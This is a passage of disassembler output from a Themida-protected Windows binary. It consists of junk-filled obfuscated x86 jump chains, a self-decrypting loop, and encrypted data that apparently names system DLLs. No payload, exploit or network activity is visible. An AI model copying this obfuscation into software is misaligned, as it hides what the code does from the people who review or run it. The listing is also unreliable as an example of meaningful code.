loc_5B27C5:				; CODE XREF: sub_58A891+17EE8j
		add	edx, ebp
		jmp	loc_5AA27E
; ---------------------------------------------------------------------------


loc_5B27CC:				; CODE XREF: sub_58A891+132B1j
		dec	ah
		jmp	loc_5A36FB
; ---------------------------------------------------------------------------


loc_5B27D3:				; CODE XREF: sub_58A891+14189j
		pop	ebp
		jmp	loc_59D38F
; ---------------------------------------------------------------------------
		mov	ax, word ptr [esp+32h+var_34+2]
		push	eax
		push	esp
		pop	eax
		add	eax, 4
		push	edx
		mov	edx, 4
		jmp	loc_5ADE6D
; ---------------------------------------------------------------------------


loc_5B27F0:				; CODE XREF: sub_58A891+26B20j
		pop	ebp
		add	ecx, esi
		pop	esi
		jmp	loc_5AA058
; ---------------------------------------------------------------------------


loc_5B27F9:				; CODE XREF: sub_58A891+11916j
		sub	eax, 9360317h
		add	eax, 2E6B67E6h
		sub	eax, 45332FD6h
		sub	eax, 25D50FC4h
		sub	eax, 6A4A4A15h
		push	19BFh
		mov	[esp+22h+var_24+2], edx
		push	1023h
		jmp	loc_59DFBD
; ---------------------------------------------------------------------------


loc_5B2824:				; CODE XREF: sub_58A891+14C5Dj
		jp	loc_5AF1ED
		inc	esi
		or	esi, 169C6A89h
		jmp	loc_5B1597
; ---------------------------------------------------------------------------


loc_5B2836:				; CODE XREF: sub_58A891+1D75Cj
		mov	ecx, 4
		add	[esp+36h+var_34+2], ecx
		pop	ecx
		push	[esp+32h+var_34+2]
		jmp	loc_5B12A1
; ---------------------------------------------------------------------------
		mov	ax, word ptr [esp+36h+var_38+2]
		push	6CF5h
		mov	[esp+3Ah+var_3C+2], edi
		push	esp
		mov	edi, [esp+3Eh+var_40+2]
		jmp	loc_5A5970
; ---------------------------------------------------------------------------


loc_5B285D:				; CODE XREF: sub_58A891+17DA2j
		mov	[esp+0C6h+var_C6], edi
		jmp	loc_5AA9F3
; ---------------------------------------------------------------------------


loc_5B2865:				; CODE XREF: sub_58A891+27E20j
		push	eax
		mov	eax, esp
		add	eax, 4
		jmp	loc_5AFDAD
; ---------------------------------------------------------------------------


loc_5B2872:				; CODE XREF: sub_58A891+13A7Ej
		push	ecx
		mov	ch, 4Bh
		xor	ch, 32h
		neg	ch
		push	small 5224h
		mov	word ptr [esp+40h+var_40], bx
		mov	bl, 37h
		sub	ch, bl
		pop	bx
		xor	bl, ch
		pop	ecx
		push	ax
		mov	ah, 6Eh
		not	ah
		xor	ah, 50h
		jmp	loc_5A76A9
; ---------------------------------------------------------------------------


loc_5B2899:				; CODE XREF: sub_58A891+16C14j
		or	ebx, 54D902D1h
		jno	loc_5A2D85
		add	ebx, 89208025h
		mov	edx, ebx
		mov	bl, ah


loc_5B28AF:				; CODE XREF: sub_58A891+1EBC2j
		add	esp, 4
		push	esi
		jmp	loc_5AD664
; ---------------------------------------------------------------------------


loc_5B28B8:				; CODE XREF: sub_58A891+1FEC3j
		mov	esi, esp
		jmp	loc_5A3591
; ---------------------------------------------------------------------------


loc_5B28BF:				; CODE XREF: sub_58A891+1C349j
		xchg	edi, [esp+22h+var_24+2]
		pop	esp
		mov	[esp+1Eh+var_20+2], esi
		jmp	loc_5B084E
; ---------------------------------------------------------------------------


loc_5B28CB:				; CODE XREF: sub_58A891+11F01j
		push	edi
		push	edx
		mov	edx, 4
		mov	edi, edx
		jmp	loc_5A2DE4
; ---------------------------------------------------------------------------


loc_5B28D9:				; CODE XREF: sub_58A891+2711Ej
		shr	ecx, 8
		jnz	loc_5ACF11
		dec	ecx
		jmp	loc_59E50F
; ---------------------------------------------------------------------------
		mov	edi, eax
		mov	eax, [esp+0A6h+var_A6]
		add	esp, 4


loc_5B28F0:				; CODE XREF: sub_58A891+13316j
		mov	[esp+0A2h+var_A2], edi
		push	ebx
		push	76416C66h
		pop	ebx
		jmp	loc_5B09A4
; ---------------------------------------------------------------------------


loc_5B28FF:				; CODE XREF: sub_58A891+23AC5j
		dec	dword ptr [ecx]
		push	eax
		mov	eax, 11775D3Fh
		add	eax, 7D9633E2h
		jp	loc_5A6FB4
		neg	eax
		jb	loc_5A42E9
		mov	edi, ebx
		mov	dh, cl


loc_5B291E:				; CODE XREF: sub_58A891+1C4C7j
		xor	edi, ebx
		jmp	loc_59FFF8
; ---------------------------------------------------------------------------


loc_5B2925:				; CODE XREF: sub_58A891+14059j
		add	eax, 4
		xor	eax, [esp+0ACh+var_AE+2]
		jmp	loc_59C3F0
; ---------------------------------------------------------------------------


loc_5B2932:				; CODE XREF: sub_58A891+1858Aj
		xor	esi, [esp+26h+var_28+2]
		jmp	loc_5A6677
; ---------------------------------------------------------------------------


loc_5B293A:				; CODE XREF: sub_58A891+16D9Dj
		mov	ecx, 77E857E1h
		sub	ecx, 7F467184h
		sub	ecx, 0E005658h
		sub	ecx, 750A59AEh
		sub	ecx, 75973653h
		add	edi, ecx
		pop	ecx
		push	edx
		jmp	loc_5AC02C
; ---------------------------------------------------------------------------


loc_5B2960:				; CODE XREF: sub_58A891+13E18j
		mov	edx, 22198Dh
		xor	edi, edx
		jmp	loc_5A86A9
; ---------------------------------------------------------------------------


loc_5B296C:				; CODE XREF: sub_58A891+235DEj
		mov	edx, [esp+7Ah+var_7C+2]
		add	esp, 4
		xor	eax, [esp+76h+var_78+2]
		xor	[esp+76h+var_78+2], eax
		xor	eax, [esp+76h+var_78+2]
		pop	esp
		mov	[esp+72h+var_74+2], ebp
		push	esp
		mov	ebp, [esp+76h+var_78+2]
		add	esp, 4
		push	edi
		push	2A01h
		mov	[esp+7Ah+var_7C+2], ebx
		mov	ebx, 1928462Eh
		mov	edi, 7DEB71B0h
		jmp	loc_5A9C74
; ---------------------------------------------------------------------------


loc_5B29A4:				; CODE XREF: sub_58A891+1351Bj
		push	small 7B5Dh
		mov	word ptr [esp+0C0h+var_C2+2], bx
		jmp	loc_5A736D
; ---------------------------------------------------------------------------


loc_5B29B1:				; CODE XREF: sub_58A891+13ADBj
		push	ecx
		jmp	loc_5ABCEF
; ---------------------------------------------------------------------------


loc_5B29B7:				; CODE XREF: sub_58A891+25153j
		add	ecx, 3BC14600h
		pop	esi
		jmp	loc_5A5AA4
; ---------------------------------------------------------------------------


loc_5B29C3:				; CODE XREF: sub_58A891+2252Bj
		push	ebp
		mov	ebp, 5C402E9Eh
		jmp	loc_5A2FA7
; ---------------------------------------------------------------------------


loc_5B29CE:				; CODE XREF: sub_58A891+16C82j
		add	ecx, 0F77BBAC2h
		add	edi, ecx
		pop	ecx
		add	edi, ebx
		sub	edi, 6FDE30B3h
		mov	ebx, [esp+88h+var_88]
		push	edx
		mov	edx, esp
		jmp	loc_59ECB2
; ---------------------------------------------------------------------------
		mov	cx, word ptr [esp+8Ch+var_8C]
		jmp	loc_5AD1A3
; ---------------------------------------------------------------------------


loc_5B29F3:				; CODE XREF: sub_58A891+18DEDj
		add	edx, 4
		push	ecx
		jmp	loc_5B2E4C
; ---------------------------------------------------------------------------


loc_5B29FF:				; CODE XREF: sub_58A891+12F4Aj
					; sub_58A891+1B203j
		mov	esi, 6D1938A8h
		neg	esi
		inc	esi
		not	esi
		xor	esi, 7C816D08h
		add	ebp, esi
		jmp	loc_5A013C
; ---------------------------------------------------------------------------


loc_5B2A16:				; CODE XREF: sub_58A891+1C210j
		pop	[esp+0A4h+var_A6+2]
		mov	esp, [esp+0A0h+var_A2+2]
		mov	[esp+0A0h+var_A2+2], esi
		jmp	loc_5A8D85
; ---------------------------------------------------------------------------


loc_5B2A24:				; CODE XREF: sub_58A891+27E8Aj
		pop	edx
		xor	ebx, 7EA66E57h
		push	ecx
		jmp	loc_59E7DF
; ---------------------------------------------------------------------------


loc_5B2A31:				; CODE XREF: sub_58A891+13B3Aj
					; sub_58A891+2118Dj
		and	eax, edi
		jmp	loc_59E507
; ---------------------------------------------------------------------------


loc_5B2A38:				; CODE XREF: sub_58A891+1924Cj
		add	ecx, ebx
		push	dword ptr [esp+0]
		jmp	loc_5B0246
; ---------------------------------------------------------------------------


loc_5B2A42:				; CODE XREF: sub_58A891+17FC1j
		add	eax, ebp
		add	eax, 14D84CD2h
		add	eax, 12142FD1h
		sub	eax, 10F27487h
		sub	eax, 2D63919h
		sub	eax, 6A43577Fh
		pop	ebp
		push	ebx
		mov	ebx, 10DF02C7h
		sub	eax, ebx
		pop	ebx
		jmp	loc_5A17E3
; ---------------------------------------------------------------------------


loc_5B2A6C:				; CODE XREF: sub_58A891+20B53j
		xor	bl, al
		pop	eax
		xor	ch, bl
		jmp	loc_5A23E3
; ---------------------------------------------------------------------------


loc_5B2A76:				; CODE XREF: sub_58A891+1FA3Fj
		not	edi
		sub	edi, 2C134854h
		shr	edi, 2
		add	edi, 38542B0h
		or	edi, 222D54A8h
		sub	edi, 0D3446B33h
		sub	ecx, edi
		pop	edi
		jmp	loc_5A0B79
; ---------------------------------------------------------------------------


loc_5B2A9B:				; CODE XREF: sub_58A891+284EEj
		push	esi
		jmp	loc_59DA40
; ---------------------------------------------------------------------------


loc_5B2AA1:				; CODE XREF: sub_58A891+2856Cj
		push	eax
		mov	eax, 0B2938E5h
		sub	eax, 9D140D9h
		inc	eax
		push	esi
		mov	esi, 6A0241EFh
		neg	esi
		push	edi
		push	esi
		jmp	loc_5A7D8C
; ---------------------------------------------------------------------------


loc_5B2ABC:				; CODE XREF: sub_58A891+283E4j
		add	ebp, eax
		pop	eax
		push	edx
		jmp	loc_5A06E2
; ---------------------------------------------------------------------------


loc_5B2AC5:				; CODE XREF: sub_58A891+245CBj
		xor	ebp, [esp+9Eh+var_9E]
		xor	[esp+9Eh+var_9E], ebp
		jmp	loc_5A5F8C
; ---------------------------------------------------------------------------


loc_5B2AD0:				; CODE XREF: sub_58A891:loc_5A6763j
		jmp	loc_5A96B9
; ---------------------------------------------------------------------------


loc_5B2AD5:				; CODE XREF: sub_58A891+259F8j
		xor	eax, 0CA9E2C4Eh
		xor	ebp, eax
		jmp	loc_59EBBF
; ---------------------------------------------------------------------------


loc_5B2AE1:				; CODE XREF: sub_58A891+2718Dj
		shl	eax, 5
		push	5FB3h
		mov	[esp+4Ah+var_4C+2], ebp
		push	edi
		mov	edi, 76367CE5h
		and	edi, 3BE94B75h
		xor	edi, 47582FA9h
		push	edi
		jmp	loc_5B0B2F
; ---------------------------------------------------------------------------


loc_5B2B04:				; CODE XREF: sub_58A891+1F9FDj
		xor	dh, 9Ah
		or	dh, 0Eh
		add	dh, 0ECh
		sub	dh, 13h
		sub	bh, 4Ah
		jmp	loc_5B1FCB
; ---------------------------------------------------------------------------


loc_5B2B18:				; CODE XREF: sub_58A891+2392Fj
		sub	esp, 4
		mov	[esp+0F6h+var_F8+2], esi
		push	esp
		pop	esi
		jmp	loc_5A3041
; ---------------------------------------------------------------------------


loc_5B2B28:				; CODE XREF: sub_58A891+1254Aj
		push	eax
		mov	ah, 8Eh
		add	ah, 70h
		push	ebx
		mov	bh, 40h
		and	bh, 0D0h
		and	bh, 18h
		add	bh, 0EAh
		and	ah, bh
		pop	ebx
		push	ax
		not	byte ptr [esp+9Eh+var_9E+1]
		pop	ax
		jmp	loc_5A6384
; ---------------------------------------------------------------------------


loc_5B2B4A:				; CODE XREF: sub_58A891+18AC1j
		sub	ebp, 157F3140h
		jmp	loc_59E164
; ---------------------------------------------------------------------------


loc_5B2B55:				; CODE XREF: sub_58A891+1FA0Ej
		pop	edi
		push	ebx
		jmp	loc_5AC973
; ---------------------------------------------------------------------------
		mov	ax, word ptr [esp+0BEh+var_BE]
		jmp	loc_5AB5ED
; ---------------------------------------------------------------------------


loc_5B2B65:				; CODE XREF: sub_58A891+21815j
		sub	eax, 0DC5CB989h
		add	ebx, eax
		pop	eax
		jmp	loc_5B033F
; ---------------------------------------------------------------------------


loc_5B2B72:				; CODE XREF: sub_58A891+1F336j
		shl	ebx, 8
		push	ecx
		jmp	loc_59E0A0
; ---------------------------------------------------------------------------


loc_5B2B7B:				; CODE XREF: sub_58A891+137CBj
		mov	[esp+0B2h+var_B2], ebp
		jmp	loc_5AAB1F
; ---------------------------------------------------------------------------


loc_5B2B83:				; CODE XREF: sub_58A891+24C22j
		push	ebx
		mov	ebx, 60505436h
		add	edi, ebx
		jmp	loc_5B2DAE
; ---------------------------------------------------------------------------


loc_5B2B90:				; CODE XREF: sub_58A891+2384Cj
		shl	edi, 6
		xchg	eax, edi
		push	eax
		inc	[esp+0F2h+var_F4+2]
		pop	eax
		xchg	eax, edi
		xor	edi, 87A383h
		push	ebp
		jmp	loc_5A880D
; ---------------------------------------------------------------------------


loc_5B2BA6:				; CODE XREF: sub_58A891+15678j
		pop	ecx
		jmp	loc_5A198B
; ---------------------------------------------------------------------------


loc_5B2BAC:				; CODE XREF: sub_58A891+22034j
		push	ax
		pushf
		jmp	loc_59BF76
; ---------------------------------------------------------------------------


loc_5B2BB4:				; CODE XREF: sub_58A891+15E0Dj
		sar	byte ptr [esp+0AAh+var_AA], cl
		pushf
		jmp	loc_59BF76
; ---------------------------------------------------------------------------


loc_5B2BBD:				; CODE XREF: sub_58A891+24AA8j
		add	esp, 4
		push	[esp+0C4h+var_C6+2]
		pop	ebx
		add	esp, 4
		push	[esp+0C0h+var_C2+2]
		mov	edx, [esp+0C4h+var_C6+2]
		add	esp, 4
		add	esp, 4
		sub	[esp+0BCh+var_BA+2], esi
		mov	esi, [esp+0BCh+var_BE+2]
		jmp	loc_5B0616
; ---------------------------------------------------------------------------


loc_5B2BE5:				; CODE XREF: sub_58A891+1D89Cj
		add	ecx, edx
		pop	edx
		pop	eax
		add	ebx, ecx
		pop	ecx
		push	ecx
		mov	ecx, 2
		add	ebx, ecx
		pop	ecx
		xor	ebx, [esp+12h+var_14+2]
		xor	[esp+12h+var_14+2], ebx
		jmp	loc_5AE0F9
; ---------------------------------------------------------------------------


loc_5B2C00:				; CODE XREF: sub_58A891+28755j
		pop	[esp+12h+var_14+2]
		jmp	loc_59C3F8
; ---------------------------------------------------------------------------


loc_5B2C08:				; CODE XREF: sub_58A891+1F7B7j
		and	eax, edx
		pop	edx
		sub	eax, 0AAC495CEh
		xor	edi, eax
		pop	eax
		inc	edi
		jmp	loc_5AE15E
; ---------------------------------------------------------------------------


loc_5B2C19:				; CODE XREF: sub_58A891+14B2Ej
		xor	edx, 0DAB0396h
		add	ebx, edx
		pop	edx
		push	ebp
		mov	ebp, 50044239h
		add	ebp, 624E6EEAh
		jmp	loc_5A0B44
; ---------------------------------------------------------------------------


loc_5B2C33:				; CODE XREF: sub_58A891+20C12j
		push	0ADCh
		mov	[esp+1Ah+var_1C+2], ebp
		push	ecx
		mov	ecx, 0C664904h
		neg	ecx
		and	ecx, 762E44C1h
		jnp	loc_5AD36A
		jmp	loc_5A20F4
; ---------------------------------------------------------------------------


loc_5B2C54:				; CODE XREF: sub_58A891+23058j
		add	esp, 4
		push	ebx
		push	eax
		mov	eax, 3CA7671Dh
		add	eax, 56E35AEBh
		xor	eax, 52E22D42h
		jmp	loc_59CEFD
; ---------------------------------------------------------------------------


loc_5B2C70:				; CODE XREF: sub_58A891+275E9j
		xor	eax, 3FEF7E78h
		jmp	loc_5B2ABC
; ---------------------------------------------------------------------------


loc_5B2C7A:				; CODE XREF: sub_58A891+1B64Cj
		jmp	loc_5A91EF
; ---------------------------------------------------------------------------


loc_5B2C7F:				; CODE XREF: sub_58A891+1D45Fj
		add	esp, 4
		pop	edx
		inc	edx
		xchg	edx, ecx
		push	ebx
		mov	ebx, 1E401404h
		jmp	loc_59CD45
; ---------------------------------------------------------------------------


loc_5B2C91:				; CODE XREF: sub_58A891+22922j
		push	edi
		push	5865h
		mov	[esp+0BAh+var_BA], esp
		add	[esp+0BAh+var_BA], 4
		pop	edi
		jmp	loc_59C712
; ---------------------------------------------------------------------------


loc_5B2CA7:				; CODE XREF: sub_58A891+13BCFj
					; sub_58A891+1AA38j
		xchg	esi, [esp+0A6h+var_A6]
		pop	esp
		jmp	loc_5AC611
; ---------------------------------------------------------------------------


loc_5B2CB0:				; CODE XREF: sub_58A891+2709Cj
		mov	ebx, 9D289615h
		xor	eax, ebx
		pop	ebx
		add	edx, eax
		pop	eax
		xor	ecx, edx
		pop	edx
		push	[esp+9Eh+var_9E]
		pop	eax
		add	esp, 4
		push	ebx
		push	7C0501A3h
		push	[esp+0A2h+var_A2]
		jmp	loc_5AF462
; ---------------------------------------------------------------------------


loc_5B2CD6:				; CODE XREF: sub_58A891+2153Cj
		mov	[esp+98h+var_98], ebx
		jmp	loc_59DC03
; ---------------------------------------------------------------------------


loc_5B2CDE:				; CODE XREF: sub_58A891+15462j
		push	edx
		jmp	loc_5A7B19
; ---------------------------------------------------------------------------


loc_5B2CE4:				; CODE XREF: sub_58A891+213C9j
		not	eax
		jmp	loc_5A8AD7
; ---------------------------------------------------------------------------


loc_5B2CEB:				; CODE XREF: sub_58A891+159EBj
		shr	dh, 7
		jmp	loc_59DB87
; ---------------------------------------------------------------------------


loc_5B2CF3:				; CODE XREF: sub_58A891+14E15j
		dec	bl
		push	dx
		mov	dh, 0EDh
		add	bl, dh
		pop	dx
		sub	dh, bl
		pop	ebx
		add	bl, dh
		mov	edx, [esp+26h+var_28+2]
		add	esp, 4
		jmp	loc_59EF8D
; ---------------------------------------------------------------------------


loc_5B2D0D:				; CODE XREF: sub_58A891+19728j
		mov	ebp, eax
		pop	eax
		add	ebx, ebp
		pop	ebp
		jmp	loc_5A13F0
; ---------------------------------------------------------------------------


loc_5B2D18:				; CODE XREF: sub_58A891+1C104j
		mov	[esp+8Ch+var_8C], edi
		mov	edi, 2
		sub	esi, 31253E74h
		add	esi, edi
		sub	esp, 4
		mov	[esp+90h+var_90], ebx
		push	eax
		mov	eax, 5B2A3A5Bh
		neg	eax
		jg	loc_5A2E5A
		sub	eax, 12E94943h
		jo	loc_5AEAB4
		push	ebx
		mov	ebx, 3CC7603Bh
		or	ebx, 4EBB2269h
		add	ebx, 1F3A634Ch
		inc	ebx
		or	ebx, 514E4E29h
		or	ebx, 3A114D1Dh
		add	ebx, 0B49DD477h
		add	eax, ebx
		pop	ebx
		mov	ebx, eax
		pop	eax
		shr	ebx, 7
		xor	ebx, 31A92A35h
		add	esi, ebx
		pop	ebx
		pop	edi
		jmp	loc_5B2A9B
; ---------------------------------------------------------------------------


loc_5B2D84:				; CODE XREF: sub_58A891+141D1j
					; sub_58A891:loc_5AF1C7j
		add	bl, 28h
		jmp	loc_5AC5E7
; ---------------------------------------------------------------------------


loc_5B2D8C:				; CODE XREF: sub_58A891+23164j
		xor	ebx, 71222FF3h
		and	ebx, 34948B0h
		sub	ebx, 0FFFFFFFFh
		xor	ebx, 50576EF0h
		xor	ebp, ebx
		mov	ebx, [esp+12h+var_14+2]
		jmp	loc_59DEBB
; ---------------------------------------------------------------------------


loc_5B2DAE:				; CODE XREF: sub_58A891+282FAj
		pop	ebx
		jmp	loc_5ADCC8
; ---------------------------------------------------------------------------


loc_5B2DB4:				; CODE XREF: sub_58A891+19E17j
		mov	edx, 6D5A1761h
		shl	edx, 4
		jmp	loc_5A464A
; ---------------------------------------------------------------------------


loc_5B2DC1:				; CODE XREF: sub_58A891+26F28j
		add	ebp, edi
		pop	edi
		mov	edx, [esp+0AEh+var_AE]
		sub	esp, 4
		mov	[esp+0B2h+var_B2], ecx
		mov	ecx, esp
		add	ecx, 4
		add	ecx, 4
		xor	ecx, [esp+0B2h+var_B2]
		xor	[esp+0B2h+var_B2], ecx
		jmp	loc_59E230
; ---------------------------------------------------------------------------


loc_5B2DE3:				; CODE XREF: sub_58A891+26789j
		mov	[esp+12h+var_14+2], edx
		push	ebp
		mov	ebp, 102608B7h
		mov	edx, ebp
		pop	ebp
		sub	edx, 1A90469Bh
		add	edx, 0FFFFFFFFh
		not	edx
		jmp	loc_5B2AA1
; ---------------------------------------------------------------------------


loc_5B2E02:				; CODE XREF: sub_58A891+13E78j
		neg	ebx
		jl	loc_59FD33
		add	ebx, 1AC91FBBh
		jge	loc_5A613A
		mov	dh, ch


loc_5B2E18:				; CODE XREF: sub_58A891+2288Fj
		push	edi
		mov	edi, 6F47206Fh
		neg	edi
		dec	edi
		and	edi, 2A13267Eh
		shr	edi, 3
		jmp	loc_5ACEA6
; ---------------------------------------------------------------------------


loc_5B2E2F:				; CODE XREF: sub_58A891+1BDD4j
		pop	ebx
		mov	edi, ebp
		jmp	loc_5B0E7C
; ---------------------------------------------------------------------------


loc_5B2E37:				; CODE XREF: sub_58A891+22520j
		pop	edi
		shl	edi, 5
		jp	loc_5A0828
		jmp	loc_5A01A0
; ---------------------------------------------------------------------------
		jmp	loc_5A5762
; ---------------------------------------------------------------------------
		push	edx


loc_5B2E4C:				; CODE XREF: sub_58A891+28169j
		mov	ecx, 4
		add	edx, ecx
		mov	ecx, [esp+36h+var_38+2]
		add	esp, 4
		xchg	edx, [esp+32h+var_34+2]
		pop	esp
		push	1FC2h
		mov	[esp+32h+var_34+2], edx
		mov	edx, 0
		sub	edx, 4754E29h
		jmp	loc_59D5E4
; ---------------------------------------------------------------------------


loc_5B2E78:				; CODE XREF: sub_58A891+21612j
		jmp	loc_59BF76
; ---------------------------------------------------------------------------


loc_5B2E7D:				; CODE XREF: sub_58A891+143B5j
		add	ebp, edi
		pop	edi
		add	ebp, 430775A6h
		sub	eax, ebp
		push	[esp+92h+var_94+2]
		pop	ebp
		push	edi
		jmp	loc_5AA948
; ---------------------------------------------------------------------------


loc_5B2E92:				; CODE XREF: sub_58A891+1BA58j
		jl	loc_5AE5AE
		jmp	loc_5B0DB9
; ---------------------------------------------------------------------------


loc_5B2E9D:				; CODE XREF: sub_58A891:loc_5B15BBj
		jmp	loc_59EC31
; ---------------------------------------------------------------------------


loc_5B2EA2:				; CODE XREF: sub_58A891+1E6C4j
		push	4077h
		mov	[esp+0B6h+var_B6], ebx
		push	16E3h
		mov	[esp+0BAh+var_BA], edi
		jmp	loc_59C82A
; ---------------------------------------------------------------------------
		push	dword ptr [edi+1Ch]
		popf
		pop	cx
		rcl	word ptr [esp+0B8h+var_BA+2], cl
		pushf
		jmp	loc_59BF76
; ---------------------------------------------------------------------------


loc_5B2EC7:				; CODE XREF: sub_58A891+17ED7j
		mov	edi, [esp+0BAh+var_BA]
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		add	ebx, 4
		xchg	ebx, [esp+0BEh+var_BE]
		pop	esp
		jmp	loc_5A9382
; ---------------------------------------------------------------------------


loc_5B2EDF:				; CODE XREF: sub_58A891+175F8j
		mov	ecx, 4000C2Ch
		sub	edx, ecx
		jmp	loc_5A07C7
; ---------------------------------------------------------------------------


loc_5B2EEB:				; CODE XREF: sub_58A891+1A931j
		pop	eax
		push	[esp+0AAh+var_AA]
		mov	ecx, [esp+0AEh+var_AE]
		add	esp, 4
		add	esp, 4
		add	edx, edi
		sub	edx, 54DC3010h
		jmp	loc_5A97DC
; ---------------------------------------------------------------------------


loc_5B2F05:				; CODE XREF: sub_58A891+2597Ej
		xchg	ebx, [esp+1Ch+var_1C]
		pop	esp
		mov	[esp+18h+var_18], eax
		jmp	loc_5A0742
; ---------------------------------------------------------------------------


loc_5B2F11:				; CODE XREF: sub_58A891+14BCCj
		and	eax, esi
		pop	esi
		or	eax, eax
		jz	loc_59D432
		push	7BA8h
		mov	[esp+0A6h+var_A6], ecx
		jmp	loc_5ADC81
; ---------------------------------------------------------------------------


loc_5B2F29:				; CODE XREF: sub_58A891+1A417j
		xor	edi, 6C19B0F5h
		mov	ecx, edi
		jmp	loc_5A4B7D
; ---------------------------------------------------------------------------


loc_5B2F36:				; CODE XREF: sub_58A891+1ACD1j
		add	esp, 4
		mov	esi, edx
		pop	edx
		add	ecx, esi
		mov	esi, [esp+0Eh+var_10+2]
		jmp	loc_5A1CE4
; ---------------------------------------------------------------------------


loc_5B2F49:				; CODE XREF: sub_58A891+12BEEj
					; sub_58A891+25DFAj
		or	ecx, 0BFA690Ah
		sub	ecx, 93739DBh
		xor	ebx, ecx
		pop	ecx
		add	eax, 595423F4h
		sub	eax, 3D1422ABh
		add	eax, ebx
		add	eax, 3D1422ABh
		push	ebx
		mov	ebx, 595423F4h
		sub	eax, 492F5908h
		jmp	loc_5B20E2
; ---------------------------------------------------------------------------


loc_5B2F79:				; CODE XREF: sub_58A891+1D4EBj
		push	603Dh
		mov	[esp+0Eh+var_10+2], eax
		mov	eax, esp
		add	eax, 4
		add	eax, 4
		xchg	eax, [esp+0Eh+var_10+2]
		jmp	loc_5ADF69
; ---------------------------------------------------------------------------


loc_5B2F93:				; CODE XREF: sub_58A891+16C09j
					; sub_58A891+1B652j
		inc	edi
		xor	edi, 2C4F3F44h
		xor	edi, 43E5F553h
		add	edx, edi
		push	[esp+94h+var_94]
		jmp	loc_5A5561
; ---------------------------------------------------------------------------


loc_5B2FAA:				; CODE XREF: sub_58A891+1B0CDj
		add	esi, ecx
		jmp	loc_5A7541
; ---------------------------------------------------------------------------


loc_5B2FB1:				; CODE XREF: sub_58A891+1AA17j
		mov	edi, edx
		pop	edx
		mov	esi, 0AE36F1C0h
		push	ecx
		jmp	loc_5A7F1E
; ---------------------------------------------------------------------------


loc_5B2FBF:				; CODE XREF: sub_58A891+187FEj
		add	eax, 4CFB41DBh
		push	edx
		sub	esp, 4
		mov	[esp+0B6h+var_B6], esi
		push	4396385Fh
		pop	esi
		mov	edx, esi
		mov	esi, [esp+0B6h+var_B6]
		jmp	loc_5B0FED
; ---------------------------------------------------------------------------


loc_5B2FDE:				; CODE XREF: sub_58A891+223A8j
		mov	[esp+0B2h+var_B2], ebx
		push	[esp+0B2h+var_AE]
		pop	ebx
		jmp	loc_5B2C00
; ---------------------------------------------------------------------------


loc_5B2FEB:				; CODE XREF: sub_58A891+394Aj
		call	near ptr loc_5B2FF5+4
		add	eax, 68633CF0h


loc_5B2FF5:				; CODE XREF: sub_58A891:loc_5B2FEBp
		neg	dword ptr ds:0B70F846Ah
sub_58A891	endp ; sp-analysis failed

		cli
		pop	edx
		pusha
		movzx	eax, ax
		jo	loc_5B3008
		clc


loc_5B3008:				; CODE XREF: Themida_:005B3001j
		popa
		add	edx, 6CACh
		mov	eax, 1DBC17DAh
		mov	ecx, 1AFFh
		mov	edi, ebx


loc_5B301B:				; CODE XREF: Themida_:loc_5B308Fj
		mov	esi, [edx]
		xor	esi, 5B74283h
		jmp	loc_5B3034
; ---------------------------------------------------------------------------
		dd 1F0C877Eh, 9614E582h, 0A628FD5Ch
; ---------------------------------------------------------------------------


loc_5B3034:				; CODE XREF: Themida_:005B3023j
		sub	esi, 4074D230h
		jmp	loc_5B3044
; ---------------------------------------------------------------------------
		db 95h
		dd 7575B66Bh
; ---------------------------------------------------------------------------


loc_5B3044:				; CODE XREF: Themida_:005B303Aj
		xor	esi, 465818D1h
		clc
		push	esi
		or	ax, 3D5Eh
		pop	dword ptr [edx]
		sub	edx, 4
		push	edx
		push	ebx
		mov	bx, 1583h
		pop	edi
		pop	edi
		dec	ecx
		jnz	loc_5B3078
		mov	bx, dx
		jmp	loc_5B30A4
; ---------------------------------------------------------------------------
		lodsd
		mov	ebx, [edx]
		sbb	dword ptr [esi-13h], 0FF261D9Bh
		setalc


loc_5B3078:				; CODE XREF: Themida_:005B305Fj
		jmp	loc_5B308F
; ---------------------------------------------------------------------------
		db 9Ch,	0E5h, 4Eh
		dd 8C2EDC87h, 0D9E8BC06h, 0F8EB093Eh
		db 0A7h, 0EAh, 75h
; ---------------------------------------------------------------------------


loc_5B308F:				; CODE XREF: Themida_:loc_5B3078j
		jmp	loc_5B301B
; ---------------------------------------------------------------------------
		dd 51B001D6h, 97DC9EC9h, 0DAF60124h, 2DAA3454h
; ---------------------------------------------------------------------------


loc_5B30A4:				; CODE XREF: Themida_:005B3068j
		jmp	loc_5B30FE
; ---------------------------------------------------------------------------
		db 0EFh, 91h, 0E0h
		dd 45535525h, 2E323352h, 6C6C64h, 41564441h, 32334950h
		dd 6C6C642Eh, 44544E00h, 642E4C4Ch, 0D8006C6Ch,	2000207h
		dd 4001A00h, 36003A00h,	0A900h,	7 dup(0)
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5B30FE:				; CODE XREF: Themida_:loc_5B30A4j
		jmp	loc_5B39E7
; ---------------------------------------------------------------------------
		push	7D3CBAEh
		jmp	loc_58E4C0
; ---------------------------------------------------------------------------
		push	7D3CC27h
		jmp	loc_58E4C0
; ---------------------------------------------------------------------------
		push	7D3CD50h
		jmp	loc_58E4C0
; ---------------------------------------------------------------------------
		push	7D3CEA3h
		jmp	loc_58E4C0
; ---------------------------------------------------------------------------
		push	7D3CF10h
		jmp	loc_58E4C0
; ---------------------------------------------------------------------------
		push	7D3D02Dh
		jmp	loc_58E4C0
; ---------------------------------------------------------------------------
		push	7D3D08Ch
		jmp	loc_58E4C0
; ---------------------------------------------------------------------------
		db 16h,	68h, 78h
; ---------------------------------------------------------------------------


loc_5B314C:				; CODE XREF: Themida_:loc_5B314Cj
		jmp	short loc_5B314C
; ---------------------------------------------------------------------------
		dw 669Ah
		dd 55ABECD9h, 3EBCDBC8h, 2AC6C4B1h, 0F9BBE29Dh,	0E5D25F99h
		dd 0D2BF4CA2h, 0BDAA37B1h, 0F29421DFh, 80244906h, 0B8A019FCh
		dd 57DB31DAh, 0EEDAC62Bh, 0B5284502h, 59C1228h,	0E665B976h
		dd 0C85F19F9h, 0F79678DCh, 0B71BD9B7h, 14A3FCFEh, 0E560F2AFh
		dd 0F7BF3D3h, 0F141FEEAh, 0D3FBA502h, 0D9C9573Ch, 0DBE84C38h
		dd 0FF6E2BF3h, 0C5FBA4D5h, 4488CA2Eh, 2C180493h, 0E8C0EEC8h
		dd 0B2D0F671h, 23BA5136h, 0B93D794h, 9A310376h,	25C3C1AEh
